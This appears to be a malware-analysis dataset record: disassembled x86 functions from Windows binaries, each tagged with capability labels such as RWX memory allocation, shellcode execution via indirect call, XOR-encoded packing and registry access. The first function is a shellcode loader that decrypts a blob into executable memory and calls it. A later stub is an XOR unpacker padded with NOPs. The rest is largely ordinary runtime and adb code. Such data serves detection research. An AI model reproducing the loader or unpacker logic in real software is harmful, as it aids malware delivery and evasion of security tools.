joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4016e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
sub esp, 0x44
push esi
xor esi, esi
cmp dword [esp + 0x50], esi
push edi
mov edi, dword [esp + 0x50]
jne 0x40177e
xor eax, eax
push 0x65
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x38], eax
push edi
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x2c], 3
mov dword [esp + 0x30], 0x401530
mov dword [esp + 0x3c], edi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push esi
mov dword [esp + 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 1
mov dword [esp + 0x40], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [esp + 0x40], eax
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x4c], str.WMPlayerWindowEditor
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x40177e
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret 0x10
mov dword [esp + 0x54], esi
mov dword [esp + 0x50], esi
call fcn.004013c0
test eax, eax
jne 0x4017b4
push 0x408360
call fcn.00401140
add esp, 4
test eax, eax
je 0x4017b4
push 0x408350
push 0x400000
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x50], eax
push ebx
push ebp
lea ecx, [esp + 0x5c]
push ecx
push 0x409
push 0xc92
push 0x9ce
call fcn.00401190
mov ebp, eax
add esp, 0x10
cmp ebp, esi
je 0x401803
mov ebx, dword [esp + 0x5c]
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x401803
push esi
push 0x26
push str.S63_4uczBMD_zI9_bPRX2WOMe4eBb_nb
push ebx
push ebp
call dword [esp + 0x6c]
add esp, 0x14
call esi
push 0
push edi
push 0
push 0
push 0x89
push 0x113
push 0x80000000
push 0x80000000
push 0x10ca0000
push str.Windows_Media_Player_HWND_Editor
push str.WMPlayerWindowEditor
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov edx, dword [esp + 0x64]
mov esi, eax
push edx
push esi
mov dword [0x40ace4], edi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
mov dword [0x40ace0], esi
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push eax
call esi
test eax, eax
je 0x40189f
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x401880
lea ecx, [esp + 0x10]
push ecx
call edi
lea edx, [esp + 0x10]
push edx
call ebx
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call esi
test eax, eax
jne 0x401880
mov eax, dword [esp + 0x18]
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x44
ret 0x10

Function at 0x4019bf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a030]
jne 0x4019c9
repz ret
jmp fcn.004030c6
Function at 0x404d0f
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00403ae3
xor ebx, ebx
cmp dword [0x40b640], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x404de4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x404d4f
xor eax, eax
jmp 0x404ea8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x404d48
push eax
call fcn.00403a80
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b640], eax
call esi
push eax
call fcn.00403a80
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b644], eax
call esi
push eax
call fcn.00403a80
mov dword [0x40b648], eax
lea eax, [ebp - 8]
push eax
call fcn.00402c14
test eax, eax
pop ecx
pop ecx
je 0x404db2
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00404291
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x404de4
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00403a80
cmp eax, ebx
pop ecx
mov dword [0x40b650], eax
je 0x404de4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403a80
pop ecx
mov dword [0x40b64c], eax
mov eax, dword [0x40b64c]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x404e5d
cmp dword [0x40b650], esi
je 0x404e5d
push eax
call fcn.00403aec
pop ecx
call eax
cmp eax, ebx
je 0x404e2a
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x40b650]
call fcn.00403aec
pop ecx
call eax
test eax, eax
je 0x404e2a
test byte [ebp - 0x18], 1
jne 0x404e5d
lea eax, [ebp - 0xc]
push eax
call fcn.00402c4b
test eax, eax
pop ecx
je 0x404e45
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00404291
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x404e54
or dword [ebp + 0x10], 0x200000
jmp 0x404e8e
or dword [ebp + 0x10], 0x40000
jmp 0x404e8e
mov eax, dword [0x40b644]
cmp eax, esi
je 0x404e8e
push eax
call fcn.00403aec
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x404e8e
mov eax, dword [0x40b648]
cmp eax, esi
je 0x404e8e
push dword [ebp - 4]
push eax
call fcn.00403aec
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x40b640]
call fcn.00403aec
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100017f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x10033218]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push str.ShadowCube
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
mov edi, eax
test edi, edi
je 0x10001950
push ebx
push esi
lea eax, [ebp - 0x234]
push eax
push edi
mov dword [ebp - 0x234], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [ebp - 0x234], 0
je 0x10001932
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x10001932
lea eax, [ebp - 0x230]
push eax
push esi
mov dword [ebp - 0x230], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x10001881
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10001932
xor ebx, ebx
jmp 0x10001890
mov eax, dword [ebp - 0x234]
cmp eax, dword [ebp - 0x228]
jne 0x1000190a
lea eax, [ebp - 0x20c]
push eax
call fcn.10006aa4
lea eax, [ebp - 0x20c]
push str.scmain.exe
push eax
call fcn.100065ca
mov ecx, eax
add esp, 0xc
test ecx, ecx
je 0x100018db
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100018c7
sub ecx, edx
sar ecx, 1
cmp ecx, 0xa
je 0x10001921
lea eax, [ebp - 0x20c]
push str.scmain_tray.exe
push eax
call fcn.100065ca
add esp, 8
test eax, eax
je 0x1000190a
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100018f6
sub eax, edx
sar eax, 1
cmp eax, 0xf
je 0x10001921
lea eax, [ebp - 0x230]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x10001890
jmp 0x10001926
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 1
je 0x1000194c
push str.ShadowCube
push 0
push edi
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
mov edi, eax
test edi, edi
jne 0x10001821
pop esi
mov eax, edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.100076de
mov esp, ebp
pop ebp
ret
Function at 0x10004d90
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareShadowcube_Print_Driver
push 0x80000001
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10004dee
push 2
push 0x100298c0
push 2
push eax
push str.WorkState
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10004e00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x10033218]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
mov dword [ebp - 0x408], 0
mov dword [ebp - 0x410], 0x400
mov dword [ebp - 0x40c], 0
mov byte [ebp - 0x404], 0
call fcn.10008250
add esp, 0xc
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x408]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareShadowcube_Print_Driver
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10004ec1
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x404]
push eax
push 0
push 0
push str.WorkState
push dword [ebp - 0x408]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10004ec1
lea eax, [ebp - 0x404]
push eax
call fcn.1000870e
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100076de
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.100076de
mov esp, ebp
pop ebp
ret
Function at 0x10015e9a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10033218]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.1001594d
mov dword [ebp - 0x14], eax
cmp dword [0x10034fd4], edi
jne 0x10015f8b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x10015f18
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1001606b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x1001606b
push 0x1002c414
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1001606b
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x10034fd4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x10034fd8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x10034fdc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10034fe4], eax
test eax, eax
je 0x10015f88
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10034fe0], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10015fb0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10015fa3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x10015fc5
push 4
pop eax
jmp 0x1001606d
cmp dword [ebp - 0x14], edi
je 0x10015fc5
push dword [0x10034fd4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10015faa
mov eax, dword [0x10034fe0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x10016023
cmp dword [0x10034fe4], esi
je 0x10016023
push eax
call ebx
push dword [0x10034fe4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10016023
test eax, eax
je 0x10016023
call ecx
test eax, eax
je 0x10016018
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10016018
test byte [ebp - 8], 1
jne 0x10016023
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x10016053
mov eax, dword [0x10034fd8]
cmp eax, esi
je 0x10016050
push eax
call ebx
test eax, eax
je 0x10016050
call eax
mov edi, eax
test edi, edi
je 0x10016050
mov eax, dword [0x10034fdc]
cmp eax, esi
je 0x10016050
push eax
call ebx
test eax, eax
je 0x10016050
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x10034fd4]
call ebx
test eax, eax
je 0x1001606b
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x1001606d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100076de
leave
ret
Function at 0x1001cb80
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.1000ad65
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x1001cbb8
xor eax, eax
jmp 0x1001cbe4
cmp esi, dword [ebp - 4]
je 0x1001cbe1
cmp dword [ebp + 0xc], 0
je 0x1001cbe1
push dword [edi + 0x9c]
call fcn.1001c78e
push dword [edi + 0x9c]
mov esi, eax
call fcn.10015d76
pop ecx
pop ecx
cmp esi, eax
je 0x1001cbb4
xor eax, eax
inc eax
pop edi
pop esi
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x51cc2051
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x3ce76726
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x4139f0
Capabilities:
Create pipe

Disassembly:
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [esp + 0x28]
mov esi, edx
mov edi, ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea ecx, [esp + 0xc]
lea edx, [esp + 0x10]
push 0
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x413ac5
mov ebx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea ecx, [ebx + 1]
mov dword [esp + 4], ebx
mov dword [esp], eax
cmp ecx, 2
jb 0x413a67
push 0
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
je 0x413b0e
mov ebx, dword [esp + 4]
mov dword [esp + 4], 0
mov eax, dword [edi]
mov dword [edi], ebx
test eax, eax
je 0x413a7f
mov ecx, edi
push eax
call fcn.004342c0
mov ecx, dword [esp]
mov dword [esp], 0
mov bl, 1
mov eax, dword [esi]
mov dword [esi], ecx
test eax, eax
je 0x413a9b
mov ecx, esi
push eax
call fcn.004342c0
mov eax, dword [esp]
test eax, eax
je 0x413aaa
mov ecx, esp
push eax
call fcn.004342c0
mov eax, dword [esp + 4]
mov dword [esp], 0
test eax, eax
je 0x413b05
lea ecx, [esp + 4]
push eax
call fcn.004342c0
jmp 0x413b05
mov esi, dword [sym.imp.msvcrt.dll__iob]
add esi, 0x40
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 8]
push eax
push ecx
call fcn.004cfe30
add esp, 8
push dword [esp + 8]
push str.adb:_CreatePipe_failed:__s_n
push esi
call fcn.00439e80
add esp, 0xc
mov eax, dword [esp + 8]
lea ecx, [eax - 0xc]
cmp ecx, 0x56dff0
jne 0x413b54
xor ebx, ebx
mov eax, ebx
add esp, 0x18
pop esi
pop edi
pop ebx
ret
mov esi, dword [sym.imp.msvcrt.dll__iob]
add esi, 0x40
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 8]
push eax
push ecx
call fcn.004cfe30
add esp, 8
push dword [esp + 8]
push ebx
push str.adb:_cannot_make_handle_0x_p_non_inheritable:__s_n
push esi
call fcn.00439e80
add esp, 0x10
mov eax, dword [esp + 8]
lea ecx, [eax - 0xc]
cmp ecx, 0x56dff0
jne 0x413b6e
xor ebx, ebx
jmp 0x413a9b
mov edx, 0xffffffff
lock xadd dword [eax - 4], edx
test edx, edx
jg 0x413b03
lea eax, [esp + 4]
push eax
call fcn.00533980
jmp 0x413b03
mov edx, 0xffffffff
lock xadd dword [eax - 4], edx
test edx, edx
jg 0x413b4d
lea eax, [esp + 0x14]
push eax
call fcn.00533980
jmp 0x413b4d
Function at 0x4185d0
Capabilities:
Get common file path

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x218
mov esi, dword [esp + 0x22c]
lea ebx, [esp + 0x10]
push ebx
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
test eax, eax
js 0x418629
lea eax, [esp + 4]
mov dword [esp + 4], 0x56dffc
push eax
push ebx
call fcn.004d0170
add esp, 8
test al, al
je 0x41863a
mov eax, dword [esp + 4]
mov dword [esp + 4], 0x56dffc
mov dword [esi], eax
mov eax, 0x56dffc
jmp 0x418644
test byte [0x5ac048], 1
jne 0x418676
mov dword [esi], 0x56dffc
jmp 0x41864f
mov eax, dword [esp + 4]
mov dword [esi], 0x56dffc
lea ecx, [eax - 0xc]
cmp ecx, 0x56dff0
jne 0x41865c
mov eax, esi
add esp, 0x218
pop esi
pop edi
pop ebx
pop ebp
ret
mov edx, 0xffffffff
lock xadd dword [eax - 4], edx
test edx, edx
jg 0x41864f
lea eax, [esp + 8]
push eax
call fcn.00533980
jmp 0x41864f
call fcn.004ce330
cmp eax, 1
jg 0x418632
call dword [sym.imp.msvcrt.dll__errno]
mov ebp, dword [eax]
lea ebx, [esp + 4]
mov ecx, ebx
push 0xffffffffffffffff
push 0
push 1
push 0
push 0xee
push str.system_core_adb_adb_utils.cpp
call fcn.004ce350
mov ecx, ebx
call fcn.004ce340
mov ebx, eax
lea eax, [esp + 0xc]
push edi
push eax
call fcn.004cfe30
add esp, 8
lea eax, [esp + 8]
push dword [esp + 0xc]
push str.SHGetFolderPathW_failed:__s
push eax
call fcn.004cf170
add esp, 0xc
mov eax, dword [esp + 8]
push dword [eax - 0xc]
push eax
push ebx
call fcn.0055d520
add esp, 0xc
mov eax, dword [esp + 8]
lea ecx, [eax - 0xc]
cmp ecx, 0x56dff0
jne 0x418717
mov eax, dword [esp + 0xc]
lea ecx, [eax - 0xc]
cmp ecx, 0x56dff0
jne 0x41872f
lea ecx, [esp + 4]
call fcn.004ce390
call dword [sym.imp.msvcrt.dll__errno]
mov dword [eax], ebp
jmp 0x418632
mov edx, 0xffffffff
lock xadd dword [eax - 4], edx
test edx, edx
jg 0x4186f2
mov eax, esp
push eax
call fcn.00533980
jmp 0x4186f2
mov edx, 0xffffffff
lock xadd dword [eax - 4], edx
test edx, edx
jg 0x418701
mov eax, esp
push eax
call fcn.00533980
jmp 0x418701

Function at 0x418950
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x218
lea esi, [esp + 0x10]
mov dword [esp + 0xc], 0x676f6c
mov dword [esp + 8], 0x2e626461
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0x103
jae 0x4189ef
mov edi, esp
mov dword [esp], 0x56dffc
push edi
push esi
call fcn.004d0170
add esp, 8
test al, al
je 0x418a0e
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
call fcn.00535150
lea edi, [esp + 8]
push edi
call sub.msvcrt.dll_strlen
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.00533e50
mov eax, dword [esp]
lea ecx, [eax - 0xc]
cmp ecx, 0x56dff0
jne 0x4189d5
mov eax, esi
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
mov edx, 0xffffffff
lock xadd dword [eax - 4], edx
test edx, edx
jg 0x4189cc
lea eax, [esp + 4]
push eax
call fcn.00533980
jmp 0x4189cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, esp
push eax
push ecx
call fcn.004cfe30
add esp, 8
push dword [esp]
push str.cannot_retrieve_temporary_file_path:__s_n
call fcn.004113e0
push str.cannot_convert_temporary_file_path_from_UTF_16_to_UTF_8
call fcn.00411450
nop
nop
nop
nop
Function at 0x4374e0
Capabilities:
Set socket configuration

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
mov esi, dword [esp + 0x2c]
mov edx, str.adb_setsockopt
mov ecx, esi
call fcn.004351f0
test eax, eax
je 0x437503
cmp dword [eax], 0x57887c
je 0x437525
cmp byte [0x5ac048], 0
js 0x437563
call dword [sym.imp.msvcrt.dll__errno]
mov dword [eax], 9
mov eax, 0xffffffff
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov ebx, dword [esp + 0x34]
mov ebp, dword [esp + 0x30]
push dword [esp + 0x3c]
push dword [esp + 0x3c]
push ebx
push ebp
push dword [eax + 0xc]
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x43751d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp byte [0x5ac048], 0
mov edi, eax
js 0x4375e8
mov ecx, edi
call fcn.00435990
jmp 0x437518
call fcn.004ce330
cmp eax, 1
jg 0x43750c
call dword [sym.imp.msvcrt.dll__errno]
mov ebx, dword [eax]
lea edi, [esp + 8]
mov ecx, edi
push 0xffffffffffffffff
push 0
push 1
push 0
push 0x3fb
push str.system_core_adb_sysdeps_win32.cpp
call fcn.004ce350
mov ecx, edi
call fcn.004ce340
mov edi, eax
lea eax, [esp + 4]
push esi
push str.adb_setsockopt:_invalid_fd__d
push eax
call fcn.004cf170
add esp, 0xc
mov eax, dword [esp + 4]
push dword [eax - 0xc]
push eax
push edi
call fcn.0055d520
add esp, 0xc
mov eax, dword [esp + 4]
lea ecx, [eax - 0xc]
cmp ecx, 0x56dff0
jne 0x43769d
lea ecx, [esp + 8]
call fcn.004ce390
call dword [sym.imp.msvcrt.dll__errno]
mov dword [eax], ebx
jmp 0x43750c
call fcn.004ce330
cmp eax, 1
jg 0x43755a
call dword [sym.imp.msvcrt.dll__errno]
mov eax, dword [eax]
lea ecx, [esp + 8]
mov dword [esp + 0x14], eax
push 0xffffffffffffffff
push 0
push 1
push 0
push 0x409
push str.system_core_adb_sysdeps_win32.cpp
call fcn.004ce350
lea ecx, [esp + 8]
call fcn.004ce340
mov dword [esp + 0x10], eax
lea eax, [esp + 0xc]
push edi
push eax
call fcn.004cfe30
add esp, 8
lea eax, [esp + 4]
push dword [esp + 0xc]
push ebx
push ebp
push esi
push str.adb_setsockopt:_setsockopt_on_fd__d_level__d_optname__d_failed:__s_n
push eax
call fcn.004cf170
add esp, 0x18
mov eax, dword [esp + 4]
push dword [eax - 0xc]
push eax
push dword [esp + 0x18]
call fcn.0055d520
add esp, 0xc
mov eax, dword [esp + 4]
lea ecx, [eax - 0xc]
cmp ecx, 0x56dff0
jne 0x4376be
mov eax, dword [esp + 0xc]
lea ecx, [eax - 0xc]
cmp ecx, 0x56dff0
jne 0x4376d6
lea ecx, [esp + 8]
call fcn.004ce390
call dword [sym.imp.msvcrt.dll__errno]
mov ecx, dword [esp + 0x14]
mov dword [eax], ecx
jmp 0x43755a
mov edx, 0xffffffff
lock xadd dword [eax - 4], edx
test edx, edx
jg 0x4375d2
lea eax, [esp + 0xc]
push eax
call fcn.00533980
jmp 0x4375d2
mov edx, 0xffffffff
lock xadd dword [eax - 4], edx
test edx, edx
jg 0x437674
mov eax, esp
push eax
call fcn.00533980
jmp 0x437674
mov edx, 0xffffffff
lock xadd dword [eax - 4], edx
test edx, edx
jg 0x437683
mov eax, esp
push eax
call fcn.00533980
jmp 0x437683